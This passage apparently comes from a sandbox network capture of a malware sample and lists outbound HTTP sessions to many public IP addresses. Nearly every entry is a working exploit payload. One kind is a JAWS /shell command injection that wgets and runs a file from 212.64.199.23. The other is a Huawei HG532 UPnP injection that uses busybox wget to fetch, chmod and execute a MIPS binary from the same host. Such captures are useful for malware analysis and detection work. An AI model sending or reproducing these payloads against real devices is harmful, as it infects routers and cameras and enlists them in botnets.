Feb 4, 2025 18:17:58.710238934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	41500	96.236.180.126	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710243940 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	50734	80.239.148.36	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710275888 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	57012	88.235.41.139	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710295916 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	49250	162.132.38.149	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710357904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	54376	100.52.20.234	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710365057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	43804	53.255.220.181	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.738569021 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	47420	37.102.81.160	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.738770962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	52580	222.49.118.97	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:59.733716965 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	49616	180.158.231.110	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:59.733745098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	44532	45.148.151.39	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:59.733784914 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	56788	67.72.123.239	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:59.771796942 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	38236	39.78.149.225	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:01.779851913 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	59306	197.181.180.176	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:02.757953882 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	48844	46.200.246.2	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:02.801743031 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	34696	41.95.22.224	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.761864901 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	57310	197.33.105.26	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.761909008 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	57160	156.203.235.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.761934996 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	44746	41.212.207.160	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762020111 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	60972	41.105.45.248	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762053013 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	59478	197.225.162.112	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762069941 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	47590	156.57.62.49	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762203932 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	59630	41.205.24.196	37215

Timestamp	Bytes transferred	Direction	Data
